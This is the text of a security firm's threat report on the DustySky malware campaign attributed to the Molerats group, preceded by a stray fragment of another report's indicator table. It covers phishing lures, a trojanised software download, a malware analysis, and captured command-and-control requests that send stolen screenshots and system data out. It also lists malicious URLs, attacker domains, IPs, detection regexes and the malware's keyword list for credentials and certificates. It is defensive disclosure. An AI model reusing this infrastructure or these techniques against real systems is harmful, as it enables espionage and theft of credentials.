cadd3141e42227c0a30aa58ab3ca9fa91384f4c7 SSL communication with C2 x509 fingerprint 9fb60ae410cf8e7739535aaa9771edd781f766d3 SSL communication with C2 x509 fingerprint 0387ac82a3eabd3ffc48a73cc440e02ce3018bc8 SSL communication with C2 x509 fingerprint 9fb60ae410cf8e7739535aaa9771edd781f766d3 SSL communication with C2 filename filename ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 26 of 26 January 2016 Operation DustySky Clearsky clearskysec.com/dustysky TLP:White For public distribution ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 1of 42 Contents Foreword ..............................................................................................................................................................3 Acknowledgments .......................................................................................................................................3 Tactics, Techniques and Procedures ....................................................................................................................4 Delivery ........................................................................................................................................................4 Lure content and sender identity ................................................................................................................5 Phishing ........................................................................................................................................................6 Attacks against software developers ...........................................................................................................7 Post infection ...................................................................................................................................................9 Abusing breached email account...............................................................................................................11 Malware analysis ................................................................................................................................................12 DustySky dropper.......................................................................................................................................12 DustySky core.............................................................................................................................................14 DustySky keylogging component ...............................................................................................................15 pdb analysis ...............................................................................................................................................15 Command and control communication..............................................................................................................16 Traffic examples .........................................................................................................................................16 SSL and digital certificates .........................................................................................................................17 Infrastructure .............................................................................................................................................20 Threat actor and Attribution ..............................................................................................................................23 Infrastructure overlap ................................................................................................................................23 Gaza Strip origins .......................................................................................................................................23 Similar TTPs ................................................................................................................................................24 Individuals ..................................................................................................................................................24 Appendix A - Malicious email messages and lures .............................................................................................25 Appendix B - Indicators.......................................................................................................................................34 ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 2 of 42 Foreword DustySky (called NeD Worm by its developer) is a multi-stage malware in use since May 2015. It is in use by the Molerats (aka Gaza cybergang), a politically motivated group whose main objective, we believe, is intelligence gathering. Operating since 2012, the group's activity has been reported by Norman 1, Kaspersky2,3, FireEye4, and PwC5. This report revolves around a campaign that includes a new malware developed by a member of the group or on behalf of the group. Based on dozens of known attacks and the vast infrastructure in use - we estimate that a wave of targeted malicious email messages has been sent on a weekly basis. These attacks are targeted, but not spear-phished. I.e., malicious email messages are sent to selected targets rather than random mass distribution, but are not tailored specifically to each and every target. Dozens of targets may receive the exact same message. The email message and the lure document are written in Hebrew, Arabic or English - depending on the target audience. Targeted sectors include governmental and diplomatic institutions, including embassies; companies from the aerospace and defence Industries; financial institutions; journalists; software developers. The attackers have been targeting software developers in general, using a fake website pretending to be a legitimate iOS management software, and linking to it in an online freelancing marketplace. Most targets are from the Middle East: Israel, Egypt, Saudi Arabia, United Arab Emirates and Iraq. The United States and countries in Europe are targeted as well. Acknowledgments We would like to thank our colleagues for their ongoing information sharing and feedback, which have been crucial for this research: security researcher Infra; PassiveTotal analyst team; Tom Lancaster of PwC; Team Cymru; Security researcher Sebasti n Garc a; Menachem Perlman of LightCyber; Other security researchers who wish to remain anonymous. https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_targets.pdf http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poisonivy.html http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 3 of 42 Tactics, Techniques and Procedures Delivery The attackers would usually send a malicious email message that either links to an archive file (RAR or ZIP compressed) or has one attached to it. Below are malicious email messages that have been sent to multiple targets on September and December 2015. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 4 of 42 The link may include these parameters: Id - the ID of the current wave of malicious email messages, composed of a plaintext word, a plus sign, and a number. For example: Rand+281 token1 - same as id, but Base64 encoded token2 - Base64 encoded email address of the target to which the malicious message was sent. C - the word Click or openexe The following regular expression matches the structure of malicious links: \/[A-Za-z]+\.php\?((?:id|token1|token2|C)=[A-Za-z0-9\/=+%]*={0,2}&?){4} For example: spynews.otzo[.]com/20151104/Update.php?id=>redacted>&token1=>redacted>&token2=>redacted>&C=Cli The archive contains an .exe file, sometimes disguised as a Microsoft Word file, a video, or another file format, using the corresponding icon. For example: Lure content and sender identity If the victim extracts the archive and clicks the .exe file, the lure document or video are presented while the computer is being infected with DustySky. In recent samples the group used Microsoft Word files embed with a malicious macro, which would infect the victim if enabled. Note, that these infection methods rely on social engineering - convincing the victim to open the file (and enabling content if it is disabled) - and not on software vulnerabilities. The subject line of the malicious email message, as well as the name and content of the lure document, are usually related to recent events in diplomacy, defense, and politics. Sometimes lure topics are gossip or sex related and might even include a pornographic video. In recent samples, fake invoices and a copy of the public Google privacy policy were used. The content of the lure document is always copied from a public news item or other web content, and is never an original composition of the attackers. The from field in malicious messages is usually set to be related to the lure document, such as Latest Israel news Israeli Hot Stories Israel Defense Forces impersonates the Emirates Policy Center organization6). The center undertakes the task of foreseeing the future of region, regional and international policy trends and the impact of different geopolitical projects on the region. It aims at providing strategic analysis, policy papers, studies, and research to serve the decision makers at any institution or country in the region with a priority given to UAE. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 5 of 42 When linked from the malicious message, the malware would be hosted either on a cloud service (many times in copy.com, a legitimate file hosting service), or on a server controlled by the attackers. Phishing When the malware is hosted on a server controlled by the attackers, the User-Agent string of the target browser is checked when they click the malicious link. If the target is using Windows, DuskySky is served. If the operating system is different than Windows, the target is served a Google, Microsoft, or Yahoo phishing page: ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 6 of 42 The source code of the phishing page is made up of a single JavaScript block, which at runtime decodes a single variable into HTML: After the victim fills in and sends the fake login form, they are redirected to a legitimate website. For example, in one case the victim was redirected to a news item7 in the Israeli news website NRG. Only the news item was old (from one year prior to the attack) and unrelated to the original subject of the malicious email message. It was probably used in previous attacks, and the attackers did not care enough or forgot to change it to a relevant one. Attacks against software developers IP address 45.32.13.169 and all the domains that are pointing to it8 host a webpage which is a copy of a legitimate and unrelated software website - iMazing, an iOS management software. Screenshot of fake website - imazing[.]ga on 45.32.13.169 http://www.nrg.co.il/online/1/ART2/594/733.html https://www.passivetotal.org/passive/45.32.13.169 ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 7 of 42 Among the domains is a similar looking one - imazing[.]ga. The source code of the fake website reveals that it was copied from the legitimate source on 22 October 2015: The fake website, similarly to the legitimate one, offers visitors to download the iMazing software. However, the version on the fake website is bundled with DustySky malware. Upon execution of the malicious version (2f452e90c2f9b914543847ba2b431b9a) the legitimate iMazing is installed, while in the background DustySky is dropped as a file named Plugin.exe (1d9612a869ad929bd4dd16131ddb133a), and executed: Plugin.exe immediately starts communicating with its command and control sever using the hardcoded address ns.suppoit[.]xyz and supo.mefound[.]com, both also pointing to above mentioned 45.32.13.169. Interestingly, we found the fake domain imazing[.]ga mentioned in a job posting9 in the freelancers marketplace website freelancer.com. In the posting, the attackers claim they are looking for someone to https://www.cz.freelancer.com/projects/iPhone/Write-some-Software-8755699/ ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 8 of 42 build an application like that this website [sic] and entice the viewer to download application and take an overlook [sic] from imazing[.]ga and Let me know if any idea is missing or This behavior deviates from the attackers usual pattern of sending malicious email to selected (albeit many) individuals. It is unclear to us why they would go after random infections, but we can imagine various reasons, such as access to computers which would be used as proxies for attacks, or access to licenses for software owned by the victims. Post infection This section describes the actions performed by the attackers on infected computers we have investigated. After infecting the computer, the attackers used both the capabilities of DustySky, and those of public hacking tools they had subsequently downloaded to the computer. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 9 of 42 They took screenshots and a list of active processes in the computer, and sent them to their command and control severs. They used BrowserPasswordDump10, a public and free-to-use tool that recovers passwords saved in browsers. Below is the log file (empty in this case) that we recovered after the attackers had deleted The malware would also scan the computer for files that contain certain keywords. The list of keywords, in base64 format, is retrieved from the command and control as a text file. For example: Below are the encoded strings from the above image, decoded and translated: Base64 string 2YXYrtin2KjYsdin2Ko= 2KjYp9iz2KjZiNix2K/Yp9iq Y3YuZG9j 157Xktei15nXnQ== 2LPZitix2Kkg2LDYp9iq2YrYqQ== cGFzc3dvcmRz 16HXmdeh157XkNeV16o= INeR15nXmNeX15XXnyDXpNeg15nXnQ== d29ybQ== bXljZXJ0 LnBmeA== Decoded cv.doc Passwords worm mycert .pfx English translation Telecommunication Password cv.doc Contacts Resume Passwords Passwords Homeland security worm mycert .pfx http://securityxploded.com/browser-password-dump.php ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 10 of 42 These words teach us what the attackers are after: personal documents; credentials, certificates and private keys; information pertaining to homeland security. Abusing breached email account In one case, the attackers used stolen email credentials and logged in from 96.44.156.201, potentially their proxy or VPN endpoint. They also logged in from 5.101.140.118 , an IP address that belongs to a proxy service called privatetunnel.com (in previous incidents, emails were sent from a nearby address 5.101.140.114). ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 11 of 42 Malware analysis DustySky (called NeD by its developer) is a multi-stage malware written in .NET. This chapter reviews its functionality and main features. The sample analyzed is f589827c4cf94662544066b80bfda6ab from late August 2015. It is composed of a DustySky dropper, DustySky core, and the DustySky keylogging component. DustySky dropper The DustySky dropper tries to evade running in a virtual machine. Once sure the computer is not a VM, it extracts, runs and adds persistency to DustySky Core. It extracts basic information about the operating system and checks for the existence of an Antivirus. It also extracts and opens the lure document. The dropper's resources are two components that are dropped at run time. One is the lure document (internally called news ), which is presented to the victim once the dropper is executed. The other is DustySky Core, a Trojan backdoor, (internally called The dropper uses the following function to obfuscate the name of functions and other parts of the malware (In later versions, SmartAssembly 6.9.0.114 .NET obfuscator was used): So, for example, the following string: Is encoded as: For VM evasion the dropper checks whether there is a DLL that indicate that the malware is running in a virtual machine (vboxmrxnp.dll and vmbusres.dll which indicate vitualbox and vmGuestlib.dll which indicates vmware). ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 12 of 42 If the dropper is indeed running in a virtual machine, it will open the lure document and stop its activity: The dropper uses Windows Management Instrumentation11 to extract information about the operating system and whether an antivirus is active. DustySky Core is dropped to %TEMP% and runs using either cmd or the .NET interface. https://msdn.microsoft.com/en-us/library/aa394582(v=vs.85).aspx ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 13 of 42 A registry entry is created for persistency after computer restart: DustySky core DustySky Core is a Trojan backdoor and the main component of the malware. It communicates with the command and control server, exfiltrates collected data, information and files, and receives and executes commands. It has the following capabilities: Collecting information about the OS version, running processes and installed software. Searching for removable media and network drives, and duplicating itself into them. Extracting other components (such as the keylogging component) or receiving them from the command and control server, and running or removing them. Evading virtual machines. Turning the computer off or restarting it. Making sure only a single instance of the malware is running. The keylogging log file is uploaded to the server every 50 seconds. The files are uploaded via a POST request to a URL that ends with key.php. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 14 of 42 DustySky keylogging component One of the components contained in DustySky core is a keylogger (for example 15be036680c41f97dfac9201a7c51cfc). When ordered by the command and control server, the keylogger is extracted and executed. Keylogging logs are saved to %TEMP%\temps . pdb analysis pdb strings in DustySky sample were structured as follows: b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb strings from 23 samples are presented in Appendix B - Indicators . In the table below we present a breakdown of folders and file names comprising the pdb strings, to reflect the ongoing development cycle of DustySky since its first release in May 2015. name filename date version campaign NeD Download and execute Version 1 - Doc News.pdb 2015-07-15 meshal NeD Download and execute Version 1 - Doc News.pdb 2015-08-18 501P Fixed Dov NeD Download and execute Version 1 - Doc News.pdb 2015-10-27 NSR ND 192.52.167.235 NeD Download and execute Version 1 - Doc News.pdb 2015-11-04 192.52.167.235 NeD Download and execute Version 1 - Doc News.pdb 2015-12-27 Rand 192.169.6.199 NeD Download and execute Version 1 - Doc News.pdb 2015-12-27 Rand 192.169.6.199 NeD Worm MusicLogs.pdb 2015-10-21 Random 192.161.48.59 NeD Worm MusicLogs.pdb 2015-10-27 NSR ND 192.52.167.235 NeD Worm MusicLogs.pdb 2015-11-03 Stay 107.191.47.42 NeD Worm MusicLogs.pdb 2015-11-04 192.52.167.235 NeD Worm MusicLogs.pdb 2015-11-08 mossad Track 192.161.48.59 NeD Worm MusicLogs.pdb 2015-11-12 8SSl 192.161.48.59 NeD Worm MusicLogs.pdb 2015-11-14 8SSl Socks 167.160.36.14 NeD Worm MusicLogs.pdb 2015-11-17 172.245.30.30 NeD Worm MusicLogs.pdb 2015-12-27 Rand 192.169.6.199 NeD Worm MusicLogs.pdb 2015-12-29 Stay jan 107.191.47.42 NeD Worm Music Synchronization.pdb 2015-08-08 USA & Europe Random NeD Worm Music Synchronization.pdb 2015-08-08 baker NeD Worm Music Synchronization.pdb 2015-08-10 Fixed NeD Worm Version 1 (2015-05-15) log file.pdb 2015-05-14 NeDKeY ver 1 Internet.pdb 2015-07-04 NeDKeY ver 1 Internet.pdb 2015-07-04 NeDKeY ver 1 Internet.pdb 2015-07-04 ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 15 of 42 Command and control communication Traffic examples Following are samples of communication with the command and control server (identifiers have been altered). DustySky has two hardcoded domains of command and control servers. It starts by checking if the first one is alive by sending a GET request to TEST.php or index.php, expecting as response. If it does not receive an OK, it will try a second domain. For example, this is an Initial GET request to index.php: GET /index.php HTTP/1.1 Host: facetoo.co].[vu Connection: Keep-Alive Server reply: HTTP/1.1 200 OK Date: Sun, 06 Sep 2015 19:52:49 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 2 Connection: close Content-Type: text/html; charset=UTF-8 Next, a GET request is sent with information about the infected computer as Base64 parameters: /IOS.php?Pn=9TbmRvd3KTxpbmRvd3icj4&fr=&GR=RmFjZUJvb2soSU9TKTxicj4gMjAxNS 0wOC0yNA&com=IDxicj4gIDxicj4g&ID=386578203222222738119472812481673914678 &o=TWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwg&ho=ZmFjZXRvby5jby52dQ==& av=&v=501P HTTP/1.1 User-Agent: 386578203222222738119472812481673914678 Host: facetoo.co].[vu Another example of a URL in the GET request: http://ra.goaglesmtp.co.vu/NSR.php?Pn=MWw1bEoxVDJqQiB8IFBTUFVCV1M&fr=&GR =REFGQksoTlNSKTxicj4gMjAxNS0xMS0wNA&com=IDxicj4gIDxicj4g&ID=133279209241 ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 16 of 42 34561851231757518321517760252DAFBK&o=TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFB yZW1pdW0g&ho=cmEuZ29hZ2xlc210cC5jby52dQ==&av=&v=704 Parameters Parameter Structure and meaning user name> hardcoded campaign identifier in the form of
for example: wikileaks (Ra)
2015-06-11 or meshal(Music)
2015-07-15


Never used. >operating system< Anti-virus name DustySky malware version The following regular expression matches the communication patterns: \/[A-Za-z]{2,5}\.php\?(?:(Pn|fr|GR|com|ID|o|ho|av|v)=[A-Za-z0-9\/=+]*={0,2}&?){5,9} Stolen information sent to command and control as POST requests: POST /RaR.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: 1042541562231131292551331782259622162135190107BK Host: down.supportcom.xyz Content-Length: 109127 Expect: 100-continue ke=iVBORw0KGgoAAAANSUhEUgAAAyAAAAJYCAYAAACadoJwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjw v8YQUAAAAJcEh.... ID=1042541562231131292551331782259622162135190107BK& N=Screen-2015-10-06_05-15-34-PM.png HTTP/1.1 100 Continue SSL and digital certificates Recently, command and control communication changed from HTTP to HTTPS. The digital certificate used in the HTTPS traffic is either self-signed or uses a legitimate Comodo issued certificate. The domain bulk-smtp[.]xyz, which is owned by the attackers, uses the following digital certificate: Certificate: Data: Version: 3 (0x2) Serial Number: 35:e5:39:4c:58:e8:4d:f5:fa:9a:3c:25:21:12:01:19 Signature Algorithm: sha256WithRSAEncryption ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 17 of 42 Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA Validity Not Before: Nov 25 00:00:00 2015 GMT Not After : Nov 24 23:59:59 2016 GMT Subject: OU=Domain Control Validated, OU=PositiveSSL, CN=bulk-smtp.xyz Prior to using the Comodo issued certificate, the attackers used a self-signed certificate, impersonating a TelAviv, Israel based company called EMS. The organizational unity in the certificate is Email Markting Sales (note the misspelling of "marketing"). Certificate: Data: Version: 3 (0x2) Serial Number: 13229300438499639338 (0xb797eaa82fb0c02a) Signature Algorithm: sha256WithRSAEncryption ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 18 of 42 Issuer: C=IL, ST=Israel - Telaviv, L=Tel Aviv, O=EMS, OU=Email Markting Sales, CN=email-market.ml/emailAddress=info@email-market.ml Validity Not Before: Nov 17 14:15:08 2015 GMT Not After : Nov 16 14:15:08 2016 GMT Subject: C=IL, ST=Israel - Telaviv, L=Tel Aviv, O=EMS, OU=Email Markting Sales, CN=email-market.ml/emailAddress=info@email-market.ml For another domain, smtp.gq, this self-signed certificate was used: Certificate: Data: Version: 1 (0x0) Serial Number: 12074485766838107425 (0xa79130d4e1e53d21) Signature Algorithm: sha1WithRSAEncryption Issuer: C=IL, ST=Tel Aviv, L=Tel Aviv, O=BEM, OU=BEM co., CN=smtp.gq /emailAddress=info@smtp.gq Validity Not Before: Nov 17 14:48:51 2015 GMT Not After : Dec 17 14:48:51 2015 GMT Subject: C=IL, ST=Tel Aviv, L=Tel Aviv, O=BEM, OU=BEM co., CN=smtp.gq /emailAddress=info@smtp.gq DustySky communication uses some or all of the following paths when communicating with its command and control server: Update.php conn.php geoiploc.php news.htm pass.php passho.php passyah.php ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 19 of 42 Infrastructure Using PassiveTotal's attack analysis platform, we were able to visualize the last 6 months of data for key infrastructure used by the actors. It's worth noting that all IP addresses have been active in the past several weeks with many of the domains resolving to them being a combination (green squares) of dynamic DNS providers (blue squares) and registered domains (brown squares). These heatmaps allow us to identify interesting periods or changes in the infrastructure that may have been due to actors adjusting their tactics. Reader: 192.161.48.59 In this graph, we can see the actors used a combination of dynamic DNS and registered domains up until December 23rd. On that day, the actors seem to remove the registered domain and strictly use dynamic DNS. It's unclear why this would occur, but it's possible that the server changed functions in the attack or was no longer needed. 192.52.167.235 In this graph, the colors clearly segment activity that occurred. The primary period of interest appears to be when both dynamic DNS and registered domains are in use. This occurs from September 23rd to December 17th and has a number of days where new domains are associated to the IP address. While not entirely known, this period could reflect the actors going live in their operation. Based on emails sent and compilation dates, there were plenty of phishing campaigns going on during this period of time. It's also worth noting that this IP address is no longer showing any content which could mean it's been taken offline. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 20 of 42 167.160.36.14 In this graph, we see activity starting on September 9th being directed to a dynamic DNS provider. Similar to Graph One, we can see an increase in domains around the November timeframe with a drop-off in December. Again, not entirely clear, but November may have been a point where the attackers felt the need to diversify the domains they were using in attacks. 45.32.13.169 In this graph, the gray blocks indicate that no activity was captured for a majority of the time. Starting November 9th, the actors introduced four unique, registered domains before then adding dynamic DNS providers. What's most interesting about this IP address is that the content for both dynamic DNS urls and registered domains lead to the same download page that hosts a Windows executable. It's unclear why the attackers continue to use both, but the move from registered domains to also using dynamic DNS domains could suggest the actors are beginning to wise up. The use of dynamic DNS infrastructure makes attribution and tracking more difficult as a dynamic DNS domain could be shared by unrelated parties. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 21 of 42 72.11.148.147 In this graph, we see the same lack of data until recent months and the use of both dynamic DNS and registered domains. Given the recent activity and a large amount of domains being pointed at this IP address, it's plausible that this server may be the most current of the actors. In fact, it could be involved in on-going operations that we have seen into this year. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 22 of 42 Threat actor and Attribution We attribute the DustySky attacks, with medium-high certainty, to the same group that FireEye12 called Molerats and Kaspersky13 called Gaza cybergang. Based on the following characteristics14. Infrastructure overlap Indicator 192.52.167.125 Used by Gaza cybergang 192.161.48.59 Was pointed to by update.ciscofreak.com used by Gaza cybergang dnsfor.dnsfor.me 185.82.202.207 Gaza cybergang Was pointed to by dnsfor.dnsfor.me used by Gaza cybergang Also used for DustySky with f589827c4cf94662544066b80bfda6ab 0756357497c2cd7f41ed6a6d4403b395 84e5bb2e2a27e1dcb1857459f80ac920 18ef043437a8817e94808aee887ade5c 3227cc9462ffdc5fa27ae75a62d6d0d9 fcecf4dc05d57c8ae356ab6cdaac88c2 9c60fadece6ea770e2c1814ac4b3ae74 7a91d9bcd02b955b363157f9a7853fd1 7f5cb76ca3ba8df4cabceb3c1cd0c11e c8fa23c3787d9e6c9e203e48081a1984 6af77a2f844c3521a40a70f6034c5c4a Gaza Strip origins Only one sample aa288a5cbf4c897ff02238e851875660 was uploaded to VirusTotal, shortly after it was compiled. Less than a minute and a half elapsed between compilation on August 8th 2015 at 10:31:12 and the first VirusTotal submission at 10:32:24. This sample was uploaded from Gaza. The very short time frame between compilation and VirusTotal submission could indicate that the attacker is the one who has submitted the sample in order to learn whether antivirus engines detect it. https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-usingpoison-ivy.html https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ All attribution data in the table are taken from https://securelist.com/blog/research/72283/gaza-cybergang-wheresyour-ir-team/. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 23 of 42 Email messages sent from Gaza Strip Some of the malicious email messages, for example those containing Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe and .exe (Hamas unveiled a documentation of Gilad Shalit in captivity), were sent from 185.12.187.10515 and 31.223.186.7116 respectively. Both IPs belong to internet provider CITYNET17, based in Gaza Strip. Similar TTPs The attribution of this activity to the above mentioned group is also based on similarities in attack characteristics: Email subjects. Content of lure documents. Style and grammatical errors. Impersonation of senders from government organizations, security forces and media outlets. Impersonating legitimate software. Target characteristics and overlap (i.e. organizations that where targeted by Molerats are similarly targeted with DustySky) Individuals Recent samples had Last Saved By properties of the document point to a specific individual who we believe is one of the attackers. In his Social media accounts this individual defines himself as a Software Engineer who lives in Gaza. Public interactions on his YouTube page (such as videos he liked) are related to hacking tools and methods. We have decided not to disclose this individual's name in the public report. https://whois.domaintools.com/185.12.187.105 http://whois.domaintools.com/31.223.186.71 CITYNET City Net Informatics, Internet and Communication Technologies and General Trade Ltd. (PS) ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 24 of 42 Appendix A - Malicious email messages and lures Below we present email and lure documents that were used in the campaign. Saudi Arabia boosts security on Yemen border Greek coastguard appears to sink refugee boat.exe ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 25 of 42 US delegation heading to Israel to discuss Iran terror funding eea2e86f06400f29a2eb0c40b5fc89a6 Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 26 of 42 ISIS leader raped the American captive The Truth About Your Sexual Peak , Don't worry Estimate position - the Gaza bombings.exe ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 27 of 42 .exe (the reasons for lifting A-Sisi's diplomatic immunity and the possibility of his arrest in London) Google-Privacy.doc ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 28 of 42 Invoice details.doc f94dfd49142bdae4a525997e4c0b944c (Highlights of matters attributed by Egypt to the leaks from the Saudi foreign service) ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 29 of 42 (Translation: the real culprit behind the plane crash in Sinai, according to Russia (The USA reveals Israel's nuclear secrets18) The title includes a syntax error omission of the accusative preposition ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 30 of 42 - How to Defend Against Stabbing.exe Spy vs. Spy: Inside the Fraying U.S.-Israel Ties.exe ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 31 of 42 exe. (The police is checking suspected delivery of secret documents to civilians by people close to Barak or Galant) b2f008d80bf954394cf9ccbcccfda154 8752f07a83b6830049dd5e6744bb444c (Title: Before the eyes of their four children: Two parents assassinated in a shooting terror attack in Samaria) ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 32 of 42 exe. (A list of terror organizations and Palestinian Militias) exe.'' FBi (A former FBI agent: "Ben Laden is still alive") ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 33 of 42 Appendix B - Indicators type indicator support.marktingfac.tk/20151027/Update.php?id=&token1=VGVzdCtzbXRwKzgxNzg&token2=&C =Click spynews.otzo.com/20151104/Update.php?id=&token1=U3B5KzE3MzY&token2=&C=Click info.intarspace.co.vu/u/dsfihkfisgbdfsdfbsdkfs.php?id=&t= oken1=3DVXNhZW0rMTUw&token2=&C=3DClic= k https://copy.com/s8w9tqqzVDaXIkcR/ .rar?download=1 http://support.markting-fac.tk/20151027/Update.php http://singin.loginto.me/050915/.php?id=&token1=bW9yaWFiKzk0Ng%3D%3D &token2=&C=Click http://sales-spy.ml/sales/details.zip http://news.net-freaks.com/upex/Wor http://news.net-freaks.com/De.php?id=tasreb&token1=&token2=&C=Click http://mailweb.otzo.com/HZ.php?Pn=UEMgfCBBZG1pbmlzdHJhdG9y&fr=&GR=Tm92ZW1iZXIoSFopPGJ yPiAyMDE1LTExLTAz&com=IDxicj4gIDxicj4g&ID=54951921481121311311307520612119912657784HZ &o=TWljcm9zb2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFs&ho=bWFpbHdlYi5vdHpvLmNvbQ==&av= &v=704 http://info.intarspace.co.vu/u/dsfihkfisgbdfsdfbsdkfs.php?id=3DUsaem+150&t=oken1=3DVXNhZW0rM TUw&token2=3DZG92ZXIucGFkYW1AZ21haWwuY29tIA%3D%3D&C=3DClic= k http://ed3qy5yioryitoturysuiu.otzo.com/U/HeA-N-P http://dnsfor.dnsfor.me/Attachments.rar http://dfwsd.co.vu/open.php?id=openexe&token1=b3BlbmV4ZQ&token2=b3BlbmV4ZQ&C=openexe http://cnaci8gyolttkgmguzog.ignorelist.com/B.php?Pn=UExBQ0VIT0wtNkY2OTlBIHwgQWRtaW5pc3Ry YXRvciAgfCAgSUQtUmFuZA==&ID=188507120521521921574709117922314512724517&o=TWljcm9zb 2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFs&av=&H=http://cnaci8gyolttkgmguzog.ignorelist.com http://0arfx4grailorhvlicbj.servehumour.com/u/procexp comments hr.goaglesmtp.co.vu/NSRDaf/Update.php?id=&token1=REFGKzcxNjU&token2= &C=Click drive.google.com/uc?export=download&id=0ByjYVMTYJB0sazgwM3AwZ2h3T2s copy.com/sr2T0SYaebYLGjNQ/Hot-Story.rar?download=1 copy.com/s8w9tqqzVDaXIkcR/ .rar?download=1 copy.com/NPe29ONMhE7qWMpv/Report.rar?download=1 copy.com/jYwMk6zWZzdUCuBr/Hot-Report%26Photos.rar?download=1 copy.com/fC2na4YLrpbYDj6G/Secret_Report.rar?download=1 copy.com/bQPNqJRMjZpnKf4R/Attachments.rar?download=1 spynews.otzo.com/20151104/Details.zip http://news20158.co.vu/index.php http://directexe.com/788/Attachments.rar http://dfwsd.co.vu/open.php https://copy.com/Tc6THzxjOL3zd1bL/Video.zip?download=1 sha1 f91948f456bf5510bdbb3a9245a5905324f7bbba sha1 945a90159bae5b128e3170cb9096ea7b233fce43 sender test0work@yandex.com previous campaign previous campaign ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 34 of 42 sender sky0news@gmail.com sender Israeli Hot Stories info@bulk-smtp.xyz sender innsniab@gmail.com sender IDF Spokesperson s Unit sender ibnkhaldon9@gmail.com sender IAI Media info@news.bulk-smtp.xyz sender Latest Israel news sender doron.eiliat@gmail.com sender bulk+mossad.gov.il@support-sales.tk Regular expression Regular expression \/[A-Za-z]{2,5}\.php\?(?:(Pn|fr|GR|com|ID|o|ho|av|v)=[A-Za-z0-9\/=+]*={0,2}&?){5,9} DustySky traffic \/[A-Za-z]+\.php\?((?:id|token1|token2|C)=[A-Za-z0-9\/=+%]*={0,2}&?){4} DustySky delivery i:\World\sfx\2015-08-08 NeD ver 5P USA & Europe Random\NeD Worm\obj\x86\Debug\Music Synchronization.pdb i:\World\sfx\2015-08-08 NeD ver 5P baker\NeD Worm\obj\x86\Debug\Music Synchronization.pdb H:\SSD\C#\Wor -1 - 2015-05-14\NeD Worm Version 1 (2015-05-15)\obj\x86\Debug\log file.pdb g:\World\sfx\2015-07-15 NeD ver 5 - meshal\NeD Download and execute Version 1 Doc\obj\x86\Debug\News.pdb g:\World\sfx\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Debug\Internet.pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Worm\obj\x86\Release\MusicLogs.pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Download and execute Version 1 Doc\obj\x86\Release\News.pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Download and execute Version 1 Doc\obj\x86\Release\News.pdb b:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Release\Internet.pdb b:\World\IL\Working Tools\2015-11-17 NeD Ver 8 PRI - 172.245.30.30\NeD Worm\obj\x86\Release\MusicLogs.pdb b:\World\IL\Working Tools\2015-11-12 NeD Ver 8SSl GOV - 192.161.48.59\NeD Worm\obj\x86\Release\MusicLogs.pdb 